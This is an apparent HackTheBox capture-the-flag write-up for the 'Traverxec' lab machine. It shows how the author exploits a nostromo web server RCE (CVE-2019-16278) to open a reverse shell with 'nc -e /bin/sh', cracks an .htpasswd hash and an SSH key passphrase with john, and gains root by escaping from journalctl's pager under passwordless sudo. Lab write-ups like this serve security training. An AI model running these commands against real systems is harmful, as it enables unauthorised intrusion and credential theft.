HackTheBox - Traverxec
Traverxec was in my opinion a particular and interesting box. While being rated easy it still teach me a little trick and got me very frustrated at some point because it was super easy to overlook and overthink easy things. Still it was worth cogitate on it!
Tl;Dr: The user flag was accessible after using a Remote Code Execution exploit on the nhttpd web server running, giving us access to the www-data user. From here you were able to enter the user home directory and access to a backup archive containing its SSH private key. After brute-forcing the passphrase you could connect to the user account and grab the flag.
The root flag consisted in exploiting a misconfiguration in sudo config allowing to view journalctl entries as root without password. Since journalctl use less as a pager it was possible to break out from less running as root by spawning an interactive system shell.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.165 traverxec.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC traverxec.htb |
We have something super classical: A HTTP (port 80) and SSH (port 22) service open.
But in this result something immediately catch the eye : nostromo 1.9.6. That’s a really not common web server.
According to its documentation:
nhttpd is a simple, fast and secure HTTP server. It runs as a single
process, handling connections with select(2).
And actually while searching for informations about this web server (out of curiosity) the second result on Google was about a RCE vulnerability through directory transversal on version <= 1.9.6 (CVE-2019-16278).
A bash proof-of-concept is also available. Seems like we don’t need to search any further…
Let’s give it a try:
1 | [hg8@archbook ~]$ git clone https://git.sp0re.sh/sp0re/Nhttpd-exploits.git |
That was fast!
Note: Be careful when launching exploit, do not use CVE-2019-16279.sh since it will DoS the box (CVE-2019-16279)… It was a very hard box to solve because it would constantly get down probably because of people launching the wrong exploit by mistake.
Let’s now use it to open a reverse shell. First we start our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And launch the exploit :
1 | [hg8@archbook ~]$ bash CVE-2019-16278.sh traverxec.htb 80 "nc -e /bin/sh 10.10.10.10 8585" |
We get the connection immediately:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
First thing first let’s see what the user is to locate the user.txt flag:
1 | www-data@traverxec:/$ ls -la /home/ |
The user is david but unfortunately we have no rights to read or write files in his home directory. Let’s move on, we might find additional informations later.
Pivot www-data -> david
Looking around we find the configuration of the nostromo web server, hopefully we can find juicy informations there ?
1 | www-data@traverxec:/$ cat /var/nostromo/conf/nhttpd.conf |
The configuration gives the path to an .htpasswd file :
1 | www-data@traverxec:/$ cat /var/nostromo/conf/.htpasswd |
Maybe if we brute-force the password of this .htpasswd file we can reuse the found password to login as david to ssh. Let’s give it a try:
1 | [hg8@archbook ~]$ echo "$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/" > david.hash |
Alright! We managed to get the password. That’s a good news and a nice step. Let’s try to login as david now:
1 | [hg8@archbook ~]$ ssh david@traverxec.htb |
No luck… su - david maybe ?
1 | www-data@traverxec:/$ su - david |
Nop! Looks like a dead end here… Let’s go back at the beginning to make sure we didn’t miss anything.
First let’s check again the nhttpd.conf file:
1 | www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf |
This HOMEDIRS option catch my eye, does that mean we could access david home directory using the web-server ? Let’s check the documentation:
1 | www-data@traverxec:/$ man nhttpd |
Thats interesting!
Ok so we know our user is David, can we access his homedir?
1 | [hg8@archbook ~]$ curl http://traverxec.htb/\~david/ |
“Nothing to see here”… That’s true, and running gobuster won’t help either. We need to find a way to list files and directories in david homedir, but how ? And this is where I got frustrated… After searching for a while I realized I overlooked something obvious. Let’s check again the permissions of david homedir:
1 | www-data@traverxec:/$ ls -l /home/david/ |
We indeed have no read nor write permissions, but we do have execute bit is set (x).
For a binary the x bit mean the file can be executed. But for directory, what does it mean then ?
The execute bit (
x) allows the affected user to enter the directory, and access files and directories inside.
So we can not read nor write david homedir but we can enter it! Let’s give a try:
1 | www-data@traverxec:/$ cd /home/david/public_www/ |
It worked! Once inside we notice another interesting folder: protected-file-area. Let’s see what’s it:
1 | www-data@traverxec:/home/david/public_www/protected-file-area$ ls |
A backup of ssh identity files ? This sure looks promising. Let’s extract it:
1 | www-data@traverxec:/home/david/public_www/protected-file-area$ mkdir /tmp/.tmp |
Jackpot! We can now try to use this ssh key to access david account:
1 | [hg8@archbook ~]$ ssh -i id_rsa david@traverxec.htb |
It couldn’t have been this easy right? A passphrase is needed for this ssh key. Let’s fire john to see if we can brute-force the passphrase:
1 | [hg8@archbook ~]$ ssh2john id_rsa > id_rsa.hash |
john found hunter as a passphrase. We have all the pieces to login now:
1 | [hg8@archbook ~]$ ssh -i id_rsa david@traverxec.htb |
Root Flag
Recon
First thing first, let’s check what’s inside david home directory:
1 | david@traverxec:~$ ls -l |
Let’s first focus on the bin folder and server-stats.sh script:
1 | david@traverxec:~/bin$ cat server-stats.sh |
The line about journalctl looks particularly interesting since it’s used with sudo command without password. If we can abuse this journalctl command we can potentially escalate our privileges to root.
The best resource for finding example of abusing legitimate binaries is GTFOBins:
GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
According to it, journalctl can be used to elevate privileges thanks to the pager used (less):
Lesscan be used to break out from restricted environments by spawning an interactive system shell.
Let’s give it a try:
1 | david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service |
Now that we are root and done let’s not forget to clean up our changes to not spoil other users!
Additional notes
I will put here a few additional information about this box that could be useful to others.
.htpassw bruteforce
As you could have noticed in the user flag recon part, a .htpasswd if available, this one is used to restrict access to the protected-file-area folder in david homedir:
It was possible to brute-force this .htpasswd file even if it was not needed to solve the box. Here how to do it using the good old john:
1 | www-data@traverxec:/$ cat /var/nostromo/conf/.htpasswd |
1 | [hg8@archbook ~]$ echo "david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/" > david.hash |
Let’s now try to access the protected-file-area using those credentials:
Success!
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8